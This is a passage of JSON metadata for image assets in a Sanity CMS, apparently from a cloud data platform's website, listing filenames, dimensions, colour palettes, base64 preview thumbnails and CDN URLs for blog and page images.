ackground":"#f7840d","foreground":"#000","population":2.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc4b1","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c446","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6a8d","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7840d","foreground":"#000","population":2.82,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"SaSi_page_hero_image_smalldots.png","path":"images/sczeoy4w/production/16c7de68fc6d2250e1772012812467a2bf36630d-1667x1352.png","sha1hash":"16c7de68fc6d2250e1772012812467a2bf36630d","size":732413,"title":null,"uploadId":"Dx0ZXEc8fQDyIi1e1LnDinVVqLSCxvRN","url":"https://cdn.sanity.io/images/sczeoy4w/production/16c7de68fc6d2250e1772012812467a2bf36630d-1667x1352.png"} {"_createdAt":"2022-12-14T13:40:07Z","_id":"image-435d043577e573cf52cc80d6388ab983fa8cb2b4-25x24-svg","_rev":"aJQte7Rd1SiavAM6Q8Mr91","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T13:40:07Z","assetId":"435d043577e573cf52cc80d6388ab983fa8cb2b4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHOl9{}C1e$h1K5-=c1LWWjt5.fkNcNbw^AZNv]+S3fj$hWWAFayoK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAADlklEQVQ4jVVU/YtVVRQ9b94769yZ8TkNfVhmmJJGSWL28Utm9EmEYaCFWGkz7911njaKZEiZP1RU9oUVBWFFWVRkZAyWFJTz/0TMT7679nOKiHPfsZkubNa7576zzt57rX1cf/e4qzqFsxnv7EDLVT3vxOCMYUQxbFLEQRHbRCwTvbvYbbl5tt38dNvNP9V287vabn5v2/33VAxOncJVZRirGK4Rw+VG3xx0fcuIh0R8JuKAiMk/ucwN6JcPol85iH5i0PONQc+7QfSLhIreVZ3RhsqwTkQU0RGxVp2mF3GXiDdEPC1iuUU/YcR2Iw4bcbcIpP1GLBJa9O7C1HhDJdaLeFXEpyIeFf0aEQ+LOCziSRE3GrHZiLfyfx5IhFUJJ8JVxJDY6N1v1+1wKtEWcY8Iitgr4jkRp0T8LOJ0PuwZEftF7BCxUl3fsJnRtHeRsJ/Z+7FIC0HERhHHMtG3inhHxEkR58TwoRjuNWL5H4fGnWKos/tfhlWJ0YpI5W1UxDpFbDPitBFfGvGIYlitGG4XwxERr4vYYsQqEbeIuEnEhNE3lhJeXxHP1llEHFHE8yK+E3Go3hCxKfcytWG3iDtFPC7i43zAZqNvLSVcVRF7RBxXRJk9x6z24WybWRFnxPCRGPZlN7yZv2+w0je1hBAVcYWGZa/PpTwm4v1h3/C1mPoY3hPDDyLOinh56ATcpogV1ms1L3QK12fhXL9bpMlIYmwQMS3i7azqeREnRNxvxGox3CDiCRFfifhdxOciXlHELotYezH61l8d55LzW/VJw378lGM2k21VicJ6wS3MwKn0kyJ2ZrKzuYIf635HrOkzNFLdK7IA6eMJi9husVbyZtG3BxHOeoW7uC/NcTMNQGpPMvjWbPhTQ9Kws4pFKrfOLin2jREPGlH8vb/ZWGBzZEDfUERDRMNqDI1+Z6xRdYqRhW69PpHNfk4xvKQYrkqEW3IJJ424Vb1xZymrJVHfPglrI9c30dDMsdXM4swq4jXFcK3L5nw3LVrEHiOuTllaREiTkzCJduldMSQsBiXGjEgXyosifhHDwYrhsvo6sqFhz4j43ohjRvQUA42gJcyR/Fn/Tjic6eNZnE+SgP1u0XILZSv1YrWIKRFfiPjViPMWw5wRc4phMYi5tJ4wWyfN+wdpGIyYVNc7V0W4fjk6UpXhShH3iUiT8ILFcFTE0YSXQgmJGusxJaYq4g6Vvv3P9JDrX7ikajB0UyP3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483c30","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c2507","foreground":"#fff","population":0.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aa786a","foreground":"#fff","population":1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#863312","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46c3c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa786a","foreground":"#fff","population":1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44404","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"cloud-sun-02.svg","path":"images/sczeoy4w/production/435d043577e573cf52cc80d6388ab983fa8cb2b4-25x24.svg","sha1hash":"435d043577e573cf52cc80d6388ab983fa8cb2b4","size":783,"uploadId":"552wZ3PtPVjsclPVHbjyJYtx6kCFCfEa","url":"https://cdn.sanity.io/images/sczeoy4w/production/435d043577e573cf52cc80d6388ab983fa8cb2b4-25x24.svg"} {"_createdAt":"2023-01-11T09:58:01Z","_id":"image-f6a3921dfc45c2211f5d28d78eb931edff8d7bd6-1192x415-svg","_rev":"Z39vf97kTT8utJKfKXPsML","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T09:58:01Z","assetId":"f6a3921dfc45c2211f5d28d78eb931edff8d7bd6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.872289156626506,"height":415,"width":1192},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACNElEQVQokSWMW0hTcRyAf2fz3M+Ou+isDLWczl3+l3M2t6kt2wW3l9YFVqEl4hSKLtSaxV5KAjUobwW9FIJQRCVmvfYSBEW9p0UQUfTgTAz2UGl1Qnr9vo8PIjqy6pQIfkyZdMQDsK0TwjqGE4md0BFAfFDDNo0ShRBiCusIDna4IRr0c0ENWykhDkKIQgkxexEFQgjAUKrekY54VIQpH6DY3KphBrZHYfZQNXM1Uyv07XFV7gr6JQ/STAA5eDOgMDNZJz8Yb1TCOpJ9iPI6xUxnq+//8EW/xXauq8HWEfCrGiVCUMMCwlROhrziXLdduJN1SvGQT0GEyj5MuVyskX2ZU/hXOYUbiDWadnh1U5uOzAGKTTrFAD8usJaFow61P+ZS0xGPmGlvUdt05Azp2D6SqROf9FaLh6PuypCGrV5ElUTIJ97r3sKvFwWz8QXg8j6XeTDpFpJhxDX7NQaMPMgrp0F53meR57od/P0jDiXf1WDZ394sPsxK/KfjID7tsSqFVL3YFfZyJ+N13Otehvt1Cio2zgCzmAP2WQ8vTeytYns7mxhYndxdVR5xW9eLovSnAPzfi4xoDAH3fbieXZ5KyGvXw+rGJZu8yX7mwbx2pYktTSXklemkVB7zsqvj7VJpMq5+uxbhjAIwsPh42vXxbqGmPNoiGXngfhc53jgL7PKtA8LS/Ljz3dzY1tKNlGLkgTXOQ8XX28fEpfmJmk33eWZAev9o1P524WbthwfDmw3zD7oimDu8+5vOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#574a3e","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3504","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#574a3e","foreground":"#fff","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969696","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2894a","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d684e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7c2c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"aiven-sustainability-timeline.svg","path":"images/sczeoy4w/production/f6a3921dfc45c2211f5d28d78eb931edff8d7bd6-1192x415.svg","sha1hash":"f6a3921dfc45c2211f5d28d78eb931edff8d7bd6","size":205606,"uploadId":"7kzOrULeXHsHhSYX7CU1whc8lQLBxhcu","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6a3921dfc45c2211f5d28d78eb931edff8d7bd6-1192x415.svg"} {"_createdAt":"2022-11-30T09:15:23Z","_id":"image-7243487cd56618a48df7164b78eeaab0fff6fa88-1567x844-png","_rev":"v53ZsDDD1bdWz9EKVdXRgr","_type":"sanity.imageAsset","_updatedAt":"2022-11-30T09:15:53Z","altText":null,"assetId":"7243487cd56618a48df7164b78eeaab0fff6fa88","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRSyjU.nUHXkvfvyk?a1obWVVEpJV?oJoM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACXElEQVQokV2TT0iTcRzG37l0UWo1lyWFB7E/EFSH6mCnLl2D8NKpcxQdm1Pb3NSM+ZeGQodAFCuCoERJLTyEZWmEkySZtul0i7mV29x8t73b+4m9+9Pw8Bx+P/g9v+f7PM9XoKEIGkugaT80asCgBr0ADzKQ9Rmk72SDGrmlFNlcRspSQbyjlmhbDeJDLZJBQ0pfhEDzAbBUQvsJaKsCsw5Mh8F0KPOJXpUnpl0LQ5fg1TViL+sJjJnZGO3APXwXb/8N/N11CFiOQt8F6K8D2xXoPQ9dZ8Baq5ArqhoFMBWTstUQHavHPXmPpYkeXD++sr66zMrCLMszo/ycGiwgHLgKtstgPQWtx8Cig+aDyM1q5E4NDJQh9ldjt11nsOc+Iy9GWHW6CIeCBAIBPB4vLpcTQRmrRQutlWCuQLEg7Wt61LRvRjXyQCkMHUHs1fJNf5oh8x3ejY/jd3xGWvuEGNggGomwE4kgKAHsRTYQxbsmFfLjEnhSTqpbR9h6Du/bRwQcX4jPPUOa7ia2tkBMFInFYgiFj/PY+4FBhWzUgLUKnt8ExyTJoAdpeQppfpi4ex4xuo0oijmFqvyIeYW5qqRVZs9yRzXSpJG430kiHkcKbZL0TCN5PxDf2cwqTHtoLAdjWaaP2ZrkiAt7mOw8y850H1tuB4E/fwkHfYj+7yQCc0jRLRKJBIJC1nocJe10IIWEWbKcwmT7SULDt3FP2FiZecOqfRb3ryX8v9cIh7bZ3d1FwFD8f0saCrakkDAHwz4SJh1B60XWn95i8XUX8x/fY7cv4nQ68fl8/APxDnA9Z8xhQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382920","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#842c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":51.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca793","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcec6c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a7555","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":51.3,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Lyyti_customer_story_blog.png","path":"images/sczeoy4w/production/7243487cd56618a48df7164b78eeaab0fff6fa88-1567x844.png","sha1hash":"7243487cd56618a48df7164b78eeaab0fff6fa88","size":269458,"title":"Events just got smarter [picture of a daily planner]","uploadId":"2alSUgGzJsAranKw1Qw7OJl9XAHTGea9","url":"https://cdn.sanity.io/images/sczeoy4w/production/7243487cd56618a48df7164b78eeaab0fff6fa88-1567x844.png"} {"_createdAt":"2022-10-31T15:07:40Z","_id":"image-b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90-56x56-svg","_rev":"w0Neky3k4wCcu4tnvR1hWa","_type":"sanity.imageAsset","_updatedAt":"2022-10-31T15:07:40Z","assetId":"b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ehS},wofUHofRjoff6f6fkfQUHfkdqf6emoffkfke.fQRjfQenfkgh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":56,"width":56},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACT0lEQVQ4jZ2Uz2sTQRTH80dZf9GKWG/1B4ioIAqe1FZrg1FBK9ZaKtKqVaoWBdO0tIcWRNFDk6Ji8ObJ4lU9mUhMIrubQ7om71Pevk27PaSNHfjuDjNvPvPem3kTKxSKWcdxy55XwfMqEooWJQ17ZSgrph3f9/1arU6tVpNQtCgx1VGGsmJK14GwCf/fRD/KUJYCg110QkSCT/hH/CrilpDiL6SYQ9wy4i/bnNgC0Q4EDGVFgUYMtvsHpTx8/QQLL2FuxKR9HSvlzCayJgoM8hFOmmHuO6ST8PAsXO+CxD7TzcPwLA4fZiH/I7CVMEnKaIS8Hqi7LyThznHo3Q0926G7DS7sgIEj8OIapAYMWsrbmqZAv2ohqWcNmIL6OuD2UZgehHfPYSIBT+OwlA1y2hzoli1PN7pC2E6Id8C90/B6HN7PQOqWha5aSNqapsBizpKv+eppg4u7LMxXY/AlDW+emKfqtdrMjdqajYGjZty9DS7vhfFeyEzB2wkYOWMea05bAroactJCvtQOwydhZghmh+HuKYjvMe80HWqzach6KEtZeHQe+g/B4x7zUMPua1+D6YGNnQsPpbrJtSnnYXHKTnrwGFzdv3Z1GrChE5CebOHaSFgl+Z+wOG0e9h+ARCdc6YT+g+Z9JrXhxZZo6QVFrYa6u4aUnkTmHyDz95FMCvn2GSn/NpsmpRd9HCJvg4j4yyLeX5FS3qR9HYvaSOjD+lpefb623FafL8dxS77vL0ce1y1JGY7jFmOFQvGj47h/PK9S97xKbYuqK0NZKwDHrCOqiXsrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242424","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#802903","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96e33","foreground":"#fff","population":8.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ecdcec","foreground":"#000","population":0.06,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c64","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#807f80","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96e33","foreground":"#fff","population":8.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Postman.svg","path":"images/sczeoy4w/production/b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90-56x56.svg","sha1hash":"b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90","size":3088,"uploadId":"YApfYqNlV6UpOPDUxoaa3oOUJMfUZhYr","url":"https://cdn.sanity.io/images/sczeoy4w/production/b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90-56x56.svg"} {"_createdAt":"2022-10-17T12:56:16Z","_id":"image-40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56-3133x1688-png","_rev":"2lVYRbK5I195wLBnbHWeci","_type":"sanity.imageAsset","_updatedAt":"2022-10-17T12:59:54Z","altText":"\"What are you waiting for? Come on!\" \"I'm stuck. Can you move this blue bit?\"","assetId":"40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACd0lEQVQokT2O3U9SYRzHz7rsv+i+67bW1lUXXduVc2nN9eLmVJQUB6zNclnarDAESy3BNPKFZupgzmUqorwdPXDwIOQLBzjncDgvz/McDpJgAze3z777bd999v1hOamQZkQ6w2c4icnKLC9xvMTlJCYrMZycYStVisllOCkrKACdIiQiOQUBD5QClkwJQTy6tR3yByO7RCyAk/5gOIiT/lAktLsfCEW82/iOf48g4ycpThZoRK+whG0/sEiSEYzNooMEHY4mSOoolkiS1CFBHoSjiXD0MBo7jsaOqnecip/QKVZOh4TIWND19ue3d4tOOwaUkgSLIihUORWASjNiiDj0bJM4ETumWV6Q0vQJsUcQRDh5EEjsuX+7Z5bnPvlXv2Iwf47U8iUgX9qNJIeszt5Xw2NfJne8Xo4KUOvOqXGLyWSam/3hWVvxLtmJ5Y8cuVSRL0FqWYL//nj2u43D7doeq2XEszgdnh38ZTboO5pramo0Gs2CzUzZOhj7E7Q5UpXVKlUfKKUIlZmYdI9PzG+suIJOy/yg9sNL3bOO9vr6el1X5/eRgU1zCzVUK4/XYjBfhvkSqGT5ws9JxcQxH/9LJ/H1tdHnJmNTr0Gr69Tq9Qar1eqYsjtGTevmNm7gFgblgsSjbE4RQBEoF34ZqiUEZd7ndPfd72+5p29uaGyoa21tczhmfAHct7oQ//wY9lzDYA4KKT6TFrJiHiil6n7lFwREacvmf3HH8vS2rqmu8eEDjaZ9adnFsKxMuFXL3VL3VQzBIpBVUS7I6Azmy0g9r1JGECi+aab/pqvl+pvOR0aDsa/v9YZnSxJzBXzu7P2N864r/wEQPgghuDA9MgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4260","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97305","foreground":"#fff","population":4.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aecf","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c93e","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7094a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97305","foreground":"#fff","population":4.83,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Which_Apache_Kafka__blog.png","path":"images/sczeoy4w/production/40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56-3133x1688.png","sha1hash":"40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56","size":1407032,"title":"Which Apache Kafka?","uploadId":"e6NZpDyPcwTWyc1atokz9qOiPnaMlVrp","url":"https://cdn.sanity.io/images/sczeoy4w/production/40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56-3133x1688.png"} {"_createdAt":"2022-10-17T13:01:00Z","_id":"image-75e755fee8209df21419db95bb04e67b6ec49d33-752x405-png","_rev":"zRX7Ooe6qaxnMaDPOafBpy","_type":"sanity.imageAsset","_updatedAt":"2022-10-17T13:02:05Z","altText":"Knowing the cluster config was backed up made Xiaoce feel relaxed and happy.","assetId":"75e755fee8209df21419db95bb04e67b6ec49d33","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCklEQVQokW2RW2/SYBjH+/ncBzDxZl555eJivHJxeuNkN9PEC7cRRoxxKDgRglA6kJVS2kI5jUJID/Tw9vT2bcthw2sDW5ZlLvld/p//IQ9mOaEOkGbAseaouqsD7wpg+cDyNcMzTN+Bc81wOa7NM7w1EIOx6bsTFCwwUTb5tkAzLbLKkhRbq/MU3SQpjqKbbKPLNXutzlBVHaElfInGE/uH8o/kvHASCl2EZthwpFWpBlGq4sVKAS8Tp2QeL2dzRbxY4Zq9877I8kOO7DZThdTH/WT88yB7Mvn1aU5+DYCMjUS9Rjf/VOgzkiGrHEU3ypUaUapSNC/KQFJhIsPuvTrC3x6Qx6lTguhwrF3/eVF5Px0WMdMOFdWWZKCM7avZ8tiSx5aqQ9udMh352fbRw7UX0ecRPJEsFgmGYbRWbl7fmw0yGAoWN/jh39tAb1ImqSebWw/W1reevkzE4vn0NyoX188+zNuHoXG+Ol5Jb7tce0G7x+Uju68fPV7f2NiMHUSr6dgw88aj3k2lso9CDAWXS/zL/49DCKxR6Xc6Ftnd3onsHH9P9zkSCkSg1APXWr7KdwIHeCZADpzdTUYoAF1dwHtslmVqHN8XJRVCHwXzVeQC8wG0ZKAqpmmH3t3wCx95gasF0HQcT5R1STGWGeG1AEPeDLpTF07hfc1vFjnuVFIMRbXcWwX/AYqeIq5IilsUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354751","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2c7f","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2c7f","foreground":"#fff","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc688c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#586ca4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7640f","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Config-backups-Apache-Kafka-blog.png","path":"images/sczeoy4w/production/75e755fee8209df21419db95bb04e67b6ec49d33-752x405.png","sha1hash":"75e755fee8209df21419db95bb04e67b6ec49d33","size":104362,"title":"Config backups for Apache Kafka","uploadId":"5v4P0sVprZBeuEFOHwvGHiOPw6SlWlEF","url":"https://cdn.sanity.io/images/sczeoy4w/production/75e755fee8209df21419db95bb04e67b6ec49d33-752x405.png"} {"_createdAt":"2023-08-25T07:56:27Z","_id":"image-f1c09b623a13d262e7871b6c6be641c720d62bf5-1567x844-png","_rev":"n4o7HM4ybKf4O57IbTNu2V","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T07:56:27Z","assetId":"f1c09b623a13d262e7871b6c6be641c720d62bf5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB71y@xpM]t7Rk?wt6M{ogRkoaogj@juf4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZ0lEQVQokSWQe1MSUQDF9wso+767e3fv3WWXVwHmKy3GFPNFDgm4uKyA8lLkIZCGIjNpSakV6ehYU+P0XUudOX+e3/zmHIKV1wCyAV4HOCtqeahvI09d9bWQdw952/jJkeY/1vwnyNeRXU1o1IBWYeQ8KdoOYBK6LzcW2p163Q4vdmcjH2YWT2YjvXDkbDLcmwx/mV2+nIveTC9dh+a/Tc2fTkx3nU9bvFph5AIlZQiXvzCzcJBIfc4UfqTzl2+TX1eSfTN9vbx6tRS/MtO/1zb+xu27WOpnzOq/iZ+Phj4p3g7QWkDdJZy+3MzCQdzqJdMXMet8bvl0IXoWs64S9k3UvIkmb1dSf2Kpu7j9K2r2I7Hvobm+HjyRjA50HxMApdyBYvB5zT9a9w3XPUMN38j+0MTR+KuPY1O9ocnTZy/OhkMXwy97/vEj30jbFWxDowG0pmR0CAdYpUSTlixashk5yyoFHm8DtSrpTeh6D10H0N2F7q6o7/N4h5FzNMzSMMvIeR5XiUE+McAlBnjTASxKzNAwzypbLKrwuM6rTcG5JxqHonHIaw1GLj4UNh/DoTLhAAkSrJJCkhJtWsrS8j3M3cM1Dld5tQacLcG5x6s1Gm5SYppVtjl8/zYjFwkgxLFiYj0L9RyrbD6aOVThcJVRSjTMMUqRQzusskWJGVK0OVTmcIWGG6SQIjQ5HjCsQLDkCpRFrcCix801oNU5VKJhhpGzHCqxSoEUbFKwHpx5h2AN8gkCqSmnvq57cqq3KBsl6Cor7hryNLD3neLelfSSpJegUeVxkRQsB0hSYpoU7UFg/of/ARNXoRfneZhZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d446d","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196e","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbe9","foreground":"#000","population":6.36,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbe9","foreground":"#000","population":6.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7074bd","foreground":"#fff","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252d91","foreground":"#fff","population":2.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pg-read-only-replica.png","path":"images/sczeoy4w/production/f1c09b623a13d262e7871b6c6be641c720d62bf5-1567x844.png","sha1hash":"f1c09b623a13d262e7871b6c6be641c720d62bf5","size":117399,"uploadId":"c36EJo4wrYi3yHuAuAE1i2c3vQKBWiKS","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1c09b623a13d262e7871b6c6be641c720d62bf5-1567x844.png"} {"_createdAt":"2022-10-27T09:18:57Z","_id":"image-72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2-347x348-png","_rev":"7JYD5XroFCjaK9NJzk4Jl0","_type":"sanity.imageAsset","_updatedAt":"2022-10-27T09:18:57Z","assetId":"72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eYQl%y.8?^H?oe_LkDj^RPRjIsaKMxtRtQx^aKs.g2ayx]RjRjozRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9971264367816092,"height":348,"width":347},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADNElEQVQ4jYXS+2/aBhAHcP7g/VJp0ia11TTWKVq6QVSSrIRAMIFCCLYDxDZvbEOwYzs276DACK/gxE0gUAgGPzLRSX2oK7kfT/fR6b46w+P3S9d1TdNUZbGQ5bksq6qq6/qXA4YVUn6YDiTxutPs1KvNWlnstqaTsaZpT2Bd1xdz+arVEMg4Gw+eYiAOebII1KwWHyYfPu3/Lv5wPyxRJO7fYyGgeOzlAntZr/UsEZauOoqi/Of/B+sf6066pqMh3Gk5Bx29qL+LeisBOxvytmtleTZ7AkviFRE8xLbXOaelcrBbeWel7Btpj61REuTZwyqsqep1p52FvInt19TbP1mbmdkxxTZeRfe227WKsliswqqiiI06E/DwNvP5rqnufNP0bBcd5iLsHnRbuqY9rsKq+r7TLiJQFdi8BN70fdYb0N493OmT6MOd9HTao7v3VTzOu7bq+5v9gL0H2Tuod1AVlOlkFf54syb1RQKGjtZ/JcxG3vZXHrA0CWwiiZqqfpo0fJuzslCmo2mtcBHYcdl+/tH90w/QL88wk7FCJKej0XKt/jVedpY5qbPJbCgOO+c9LlVAAATc2ELWXmLGZ6G1F7ljVBJvlcXnD19iXX9UFHU6mQ1u7vsNscFfFskqjfHpQC7uRlNvrfgfz8OvnsM2N0MW+h1pOplp6vLDDbquz+fK7c19q9Zr8P9cULUKUcknCjTKJwO5sCNyaAKCv6+BRqP1N4tvC8yGchel1vh+omm6QdO04e3onK/zeKFIlCvpYikuFGICi/E4REX2k/DfQdjsAl/bgPV930YgZEWiR9RFrTebzQ2yPL+sd+kER2Msj5fzqZKAcnmM56MCE2YpmCIPMilXPOHAUEcMscfgnajPhWc